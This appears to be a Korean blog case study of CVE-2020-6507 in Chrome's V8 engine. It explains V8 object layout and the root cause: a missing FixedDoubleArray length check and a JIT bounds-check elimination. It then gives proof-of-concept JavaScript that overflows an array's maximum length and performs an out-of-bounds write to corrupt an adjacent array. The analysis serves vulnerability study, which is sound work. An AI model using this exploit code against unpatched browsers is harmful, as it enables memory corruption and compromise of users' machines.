Cve_2020_6507(case study)

May 13, 2025

V8 내부 객체 구조

모든 객체는 공통된 헤더를 가집니다.

[ Map Pointer | Properties Pointer | Elements Pointer | … (in-object fields) … ]
  • Map Pointer
    • 이 객체가 어떤 형(Shape)인지 정의하는 포인터
    • Hidden Class라고도 부르며, 프로퍼티 이름·순서·타입 정보·접근 오프셋 등이 담긴 메타데이터.
  • Properties Pointer
    • named property(예: obj.foo = 123)들의 실제 값 저장소로 연결.
    • Fast Properties 모드일 땐 FixedArray 또는 DescriptorArray 포인터, Dictionary Properties 모드에선 해시맵 구조체 포인터.
  • Elements Pointer
    • 인덱스 Properties들의 저장소.
    • 보통 FixedArray 또는 FixedDoubleArray 형태로, 길이와 실제 데이터가 이어진 버퍼.
  • In-Object Fields
    • Map에 정의된 in-object property count 만큼, 헤더 뒤에 곧바로 배치되는 슬롯 공간.
a = 1;
b = true;
c = ['1', '2'];
d = {"a": 2};
e = {"b": 1, "c": 3};
  • a = 1

1 은 31비트(또는 32비트 아키텍처에선 30비트) 정수로 태그되어, 포인터처럼 레지스터나 스택에 저장.

Heap 할당 없이 즉시 사용 가능 → 매우 빠른 접근 속도

  • b = true

마찬가지로 heap 할당 없이 저장

  • c = [‘1’, ‘2’]
    • HeapObject 헤더
      ┌───────────────────────────────────────────┐
      │ HeapObject for Array c                    │
      │ ┌────────────┬───────────────────────────┐│
      │ │ Map Ptr    │ → Map_Array               ││
      │ ├────────────┼───────────────────────────┤│
      │ │ properties │ → empty_properties_array  ││
      │ ├────────────┼───────────────────────────┤│
      │ │ elements   │ → FixedArray (len=2)      ││
      │ ├────────────┼───────────────────────────┤│
      │ │ InObject0  │ (unused)                  ││
      │ └────────────┴───────────────────────────┘│
      └───────────────────────────────────────────┘
    
    • Map_Array: 배열 전용 Hidden Class
    • properties: 배열은 일반적으로 named property가 없으므로 빈 배열 포인터
    • elements: FixedArray 형태, 두 슬롯에 String('1')String('2') 에 대한 포인터 저장
      • 문자열 '1', '2' 는 각각 HeapObject String 으로 따로 저장.
  • d = {“a”: 2}
    • 초기 빈 객체
    • 프로퍼티 a 추가
      • HiddenClass 전이
      • properties 확장

        properties 포인터가 빈 배열 → FixedArray(len=1) 로 교체, [0]에 SMI 2

  • e = {“b”: 1, “c”: 3}
    • 빈 객체
    • 프로퍼티 b 추가
      • properties → FixedArray(len=1) 에 [1]
    • 프로퍼티 c 추가
      • properties → FixedArray(len=2) 에 [1, 3]

Root Cause

  • 배열 생성 시 최대 길이 검사 누락

V8 소스의 fixed-array.tq 파일에 정의된 매크로 NewFixedDoubleArray에서, 생성하려는 배열의 길이가 kFixedDoubleArrayMaxLength를 초과하는지 검사하는 코드가 빠져 있습니다.

macro NewFixedDoubleArray<Iterator: type>(
    length: intptr, it: Iterator): FixedDoubleArray|EmptyFixedArray {
  if (length == 0) return kEmptyFixedArray;
+ if (length > kFixedDoubleArrayMaxLength) deferred {
+     runtime::FatalProcessOutOfMemoryInvalidArrayLength(kNoContext);
+ }
  return new FixedDoubleArray{
    map: kFixedDoubleArrayMap,
    length: Convert<Smi>(length),
    objects: …it
  };
}

이로 인해 길이가 한계치를 초과해도 FixedDoubleArray가 생성되어 내부 버퍼 크기를 벗어나는 상태가 만들어집니다.

  • JIT 최적화 과정에서 경계 검사 제거 TurboFan JIT 컴파일러의 simplified-lowering 단계에서, 배열 접근에 대한 경계 검사가 없습니다.
case IrOpcode::kMaybeGrowFastElements: {
  ProcessInput(node, 0, …);  // object
  ProcessInput(node, 1, …);  // elements
  ProcessInput(node, 2, …);  // index
  ProcessInput(node, 3, …);  // length
  ProcessRemainingInputs(node, 4);
  SetOutput(node, MachineRepresentation::kTaggedPointer);
- if (lower() && index_type.Max() < length_type.Min()) {
-   DeferReplacement(node, node->InputAt(1));
- }
  return;
}

이 단계에서 “index < length”라는 전제 조건 검사를 완전히 빼 버리기 때문에, OOB 쓰기가 가능해집니다.

PoC

  • giant_array 생성
array = Array(0x40000).fill(1.1);
args  = Array(0x100 - 1).fill(array);
args.push(Array(0x40000 - 4).fill(2.2));
giant_array = Array.prototype.concat.apply([], args);

array 길이: 0x40000 (262 144)

args에 0xff개(0x100 - 1)의 동일 배열 추가 → 길이 = 0x40000 × 0xff

마지막에 길이 0x40000−4 (262 140) 배열 추가 → 총합 = 262 144×255 + 262 140 = 67108860

  • splice를 통한 배열 재생성
giant_array.splice(
  giant_array.length, 0, 3.3, 3.3, 3.3
);

이 호출로 V8은 내부적으로 새로운 FixedDoubleArray를 만들면서 길이를 67108863으로 설정

그러나 NewFixedDoubleArray에선 최대 길이(kMaxLength = 67 108 862) 초과 여부를 검사하지 않으므로, 버퍼 오버플로우 상태가 만들어집니다.

  • 경계 검사 제거 반복 트리거
for (let i = 0; i < 30000; ++i) {
  trigger(giant_array);
}

JIT 컴파일러가 trigger 함수를 반복 실행하여 최적화를 활성화

최적화된 바이트코드에서는 배열 길이 검사(index < length)가 삭제되어, 이후 해당 함수를 호출할 때마다 OOB 쓰기가 곧바로 실행

  • OOB 쓰기
function trigger(array) {
  var x = array.length;     // 67 108 863
  x -= 67_108_861;          // 2
  x = Math.max(x, 0);       // 2
  x *= 6;                   // 12
  x -= 5;                   // 7
  x = Math.max(x, 0);       // 7

  let corrupting_array = [0.1, 0.1];
  let corrupted_array  = [0.1];

  corrupting_array[x] = length_as_double;
  return [corrupting_array, corrupted_array];
}

x 계산 결과 7이 되는데, 실제 corrupting_array의 길이는 2이므로 인덱스 7은 경계 밖 이때 length_as_double을 써서, 인접 메모리를 덮어쓰게 됩니다.